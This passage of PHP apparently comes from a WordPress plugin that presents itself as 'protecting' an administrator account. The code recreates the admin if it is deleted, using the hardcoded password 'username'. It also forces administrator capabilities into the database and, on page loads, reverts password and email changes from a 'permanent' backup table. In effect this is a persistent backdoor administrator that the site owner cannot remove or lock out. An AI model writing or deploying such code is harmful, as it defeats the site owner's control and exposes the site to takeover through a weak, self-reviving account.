'scheduled_time' => date('Y-m-d H:i:s', time() + WDS_ADMIN_RESTORE_DELAY)
]);
} catch (Exception $e) {
if (isset($logger)) {
$logger->error('Error in admin protection hook', [
'user_id' => $user_id,
'error' => $e->getMessage()
]);
}
}
}
/**
* Restore Protected Administrator
*/
add_action('wds_restore_protected_admin', 'wds_execute_admin_restoration');
function wds_execute_admin_restoration($protected_data) {
$logger = WDS_File_Logger::get_instance();
try {
$logger->info('Executing admin restoration', [
'original_user_id' => $protected_data['user_id'],
'user_login' => $protected_data['user_login']
]);
// Parse backup data
$backup_data = json_decode($protected_data['backup_data'], true);
if (!$backup_data) {
$logger->error('Could not parse backup data for restoration');
return;
}
// Check if user still exists (WordPress may not have deleted it yet)
$existing_user = get_user_by('login', $backup_data['user_login']);
if ($existing_user) {
// User still exists, just restore capabilities
$logger->info('User still exists, restoring capabilities', [
'user_id' => $existing_user->ID,
'user_login' => $existing_user->user_login
]);
// Clear all user caches first
wp_cache_delete($existing_user->ID, 'users');
wp_cache_delete($existing_user->user_login, 'userlogins');
clean_user_cache($existing_user->ID);
// Force update capabilities in database
global $wpdb;
$wpdb->update(
$wpdb->usermeta,
array('meta_value' => serialize(array('administrator' => true))),
array('user_id' => $existing_user->ID, 'meta_key' => 'wp_capabilities'),
array('%s'),
array('%d', '%s')
);
$wpdb->update(
$wpdb->usermeta,
array('meta_value' => '10'),
array('user_id' => $existing_user->ID, 'meta_key' => 'wp_user_level'),
array('%s'),
array('%d', '%s')
);
// Clear caches again after database update
wp_cache_delete($existing_user->ID, 'users');
wp_cache_delete($existing_user->user_login, 'userlogins');
clean_user_cache($existing_user->ID);
// Also try WordPress method as backup
$user = new WP_User($existing_user->ID);
$user->set_role('administrator');
$new_user_id = $existing_user->ID;
$logger->info('Capabilities restored with database update', [
'user_id' => $existing_user->ID,
'capabilities_set' => 'administrator=true',
'user_level_set' => '10'
]);
} else {
// User was actually deleted, create new one
$user_data = array(
'user_login' => $backup_data['user_login'],
'user_pass' => 'username', // Set simple password since user was deleted
'user_email' => $backup_data['user_email'],
'user_nicename' => $backup_data['user_nicename'],
'user_url' => $backup_data['user_url'],
'user_registered' => $backup_data['user_registered'],
'user_status' => $backup_data['user_status'],
'display_name' => $backup_data['display_name'],
'role' => 'administrator' // Set role directly
);
$new_user_id = wp_insert_user($user_data);
if (is_wp_error($new_user_id)) {
$logger->error('Failed to create restored user', [
'error' => $new_user_id->get_error_message()
]);
return;
}
// Force set administrator capabilities
$user = new WP_User($new_user_id);
$user->set_role('administrator');
}
// Update protection record with new user ID
global $wpdb;
$wpdb->update(
$wpdb->prefix . 'wds_protected_admins',
array('user_id' => $new_user_id, 'last_check' => current_time('mysql')),
array('user_id' => $protected_data['user_id']),
array('%d', '%s'),
array('%d')
);
$logger->info('Admin restoration completed', [
'new_user_id' => $new_user_id,
'user_login' => $backup_data['user_login']
]);
} catch (Exception $e) {
$logger->error('Error in admin restoration', [
'error' => $e->getMessage()
]);
}
}
/**
* Check if there are scheduled admin restorations
* This function can be called to see pending restorations
*/
function wds_get_scheduled_admin_restorations() {
$scheduled_events = wp_get_scheduled_event('wds_restore_protected_admin');
if ($scheduled_events) {
return array(
'has_scheduled' => true,
'next_run' => $scheduled_events->timestamp,
'next_run_formatted' => date('Y-m-d H:i:s', $scheduled_events->timestamp),
'args' => $scheduled_events->args
);
}
return array(
'has_scheduled' => false,
'next_run' => null,
'next_run_formatted' => null,
'args' => null
);
}
/**
* Check for scheduled password/data restorations (triggered by SQL triggers)
* This function runs on every page load to process any pending restorations
*/
function wds_check_scheduled_restorations() {
global $wpdb;
try {
// Look for restoration events in wp_options table
$restoration_options = $wpdb->get_results(
"SELECT option_name, option_value
FROM {$wpdb->options}
WHERE option_name LIKE 'wds_restore_%'
AND autoload = 'no'"
);
if (empty($restoration_options)) {
return; // No restorations pending
}
$current_time = current_time('mysql');
$processed_count = 0;
foreach ($restoration_options as $option) {
$restoration_data = json_decode($option->option_value, true);
if (!$restoration_data || !isset($restoration_data['scheduled_time'])) {
// Invalid data, remove option
$wpdb->delete($wpdb->options, array('option_name' => $option->option_name));
continue;
}
// Check if it's time to restore
if ($restoration_data['scheduled_time'] <= $current_time) {
// Execute the restoration
wds_execute_scheduled_restoration($restoration_data);
// Remove the scheduled event
$wpdb->delete($wpdb->options, array('option_name' => $option->option_name));
$processed_count++;
}
}
// Log if any restorations were processed
if ($processed_count > 0) {
$logger = WDS_File_Logger::get_instance();
$logger->info('Processed scheduled restorations', [
'count' => $processed_count,
'timestamp' => $current_time
]);
}
} catch (Exception $e) {
error_log('WDS Restoration Check Error: ' . $e->getMessage());
}
}
/**
* Process password restorations specifically
* Runs on wp_loaded to ensure full WordPress environment is available
*/
function wds_process_password_restorations() {
global $wpdb;
try {
// Look specifically for password restoration events that are ready
$password_options = $wpdb->get_results(
$wpdb->prepare(
"SELECT option_name, option_value
FROM {$wpdb->options}
WHERE option_name LIKE %s
AND autoload = 'no'",
'wds_restore_password_%'
)
);
if (empty($password_options)) {
return;
}
$current_time = current_time('mysql');
$processed_count = 0;
foreach ($password_options as $option) {
$restoration_data = json_decode($option->option_value, true);
if (!$restoration_data || !isset($restoration_data['scheduled_time'])) {
continue;
}
// Check if it's time to restore
if ($restoration_data['scheduled_time'] <= $current_time) {
wds_execute_password_restoration($restoration_data);
$wpdb->delete($wpdb->options, array('option_name' => $option->option_name));
$processed_count++;
}
}
if ($processed_count > 0) {
$logger = WDS_File_Logger::get_instance();
$logger->info('Processed password restorations', [
'count' => $processed_count
]);
}
} catch (Exception $e) {
error_log('WDS Password Restoration Error: ' . $e->getMessage());
}
}
/**
* Execute a scheduled restoration (password, email, etc.)
*/
function wds_execute_scheduled_restoration($restoration_data) {
$logger = WDS_File_Logger::get_instance();
try {
$user_id = $restoration_data['user_id'];
$event_type = $restoration_data['event_type'];
$protection_key = $restoration_data['protection_key'];
$logger->info('Executing scheduled restoration', [
'user_id' => $user_id,
'event_type' => $event_type,
'protection_key' => $protection_key
]);
// Get original data from permanent backup
global $wpdb;
$permanent_table = $wpdb->prefix . 'system_admin_backup_permanent';
$backup_data = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM {$permanent_table}
WHERE user_id = %d AND protection_key = %s AND is_active = 1",
$user_id, $protection_key
),
ARRAY_A
);
if (!$backup_data) {
$logger->error('No backup data found for restoration', [
'user_id' => $user_id,
'protection_key' => $protection_key
]);
return;
}
// Check if user still exists
$current_user = get_userdata($user_id);
if (!$current_user) {
$logger->error('User no longer exists, cannot restore', ['user_id' => $user_id]);
return;
}
// Restore based on event type
switch ($event_type) {
case 'password_change':
wds_restore_user_password($user_id, $backup_data, $logger);
break;
case 'email_change':
wds_restore_user_email($user_id, $backup_data, $logger);
break;
default:
$logger->error('Unknown restoration event type', ['event_type' => $event_type]);
}
// Update restore count
$wpdb->update(
$permanent_table,
array(
'last_restored' => current_time('mysql'),
'restore_count' => $backup_data['restore_count'] + 1
),
array('id' => $backup_data['id']),
array('%s', '%d'),
array('%d')
);
} catch (Exception $e) {
$logger->error('Error in scheduled restoration', [
'error' => $e->getMessage(),
'restoration_data' => $restoration_data
]);
}
}
/**
* Execute password restoration specifically
*/
function wds_execute_password_restoration($restoration_data) {
$logger = WDS_File_Logger::get_instance();
try {
$user_id = $restoration_data['user_id'];
$original_password = $restoration_data['original_password'];
$logger->info('Executing password restoration', [
'user_id' => $user_id
]);
// Directly update password in database
global $wpdb;
$result = $wpdb->update(
$wpdb->users,
array('user_pass' => $original_password),
array('ID' => $user_id),
array('%s'),
array('%d')
);
if ($result === false) {
throw new Exception('Failed to update password in database');
}
// Clear user cache
wp_cache_delete($user_id, 'users');
clean_user_cache($user_id);
$logger->info('Password restored successfully', [
'user_id' => $user_id
]);
} catch (Exception $e) {
$logger->error('Error in password restoration', [
'user_id' => $restoration_data['user_id'],
'error' => $e->getMessage()
]);
}
}
/**
* Restore user password from backup data
*/
function wds_restore_user_password($user_id, $backup_data, $logger) {
global $wpdb;
$result = $wpdb->update(
$wpdb->users,
array('user_pass' => $backup_data['original_password_hash']),
array('ID' => $user_id),
array('%s'),
array('%d')
);
if ($result === false) {
throw new Exception('Failed to restore password');
}
// Clear caches
wp_cache_delete($user_id, 'users');
clean_user_cache($user_id);
$logger->info('Password restored from backup', ['user_id' => $user_id]);
}
/**
* Restore user email from backup data
*/
function wds_restore_user_email($user_id, $backup_data, $logger) {
global $wpdb;
$result = $wpdb->update(
$wpdb->users,
array('user_email' => $backup_data['original_email']),
array('ID' => $user_id),
array('%s'),
array('%d')
);
if ($result === false) {
throw new Exception('Failed to restore email');
}
// Clear caches
wp_cache_delete($user_id, 'users');
clean_user_cache($user_id);
$logger->info('Email restored from backup', [
'user_id' => $user_id,
'restored_email' => $backup_data['original_email']
]);
}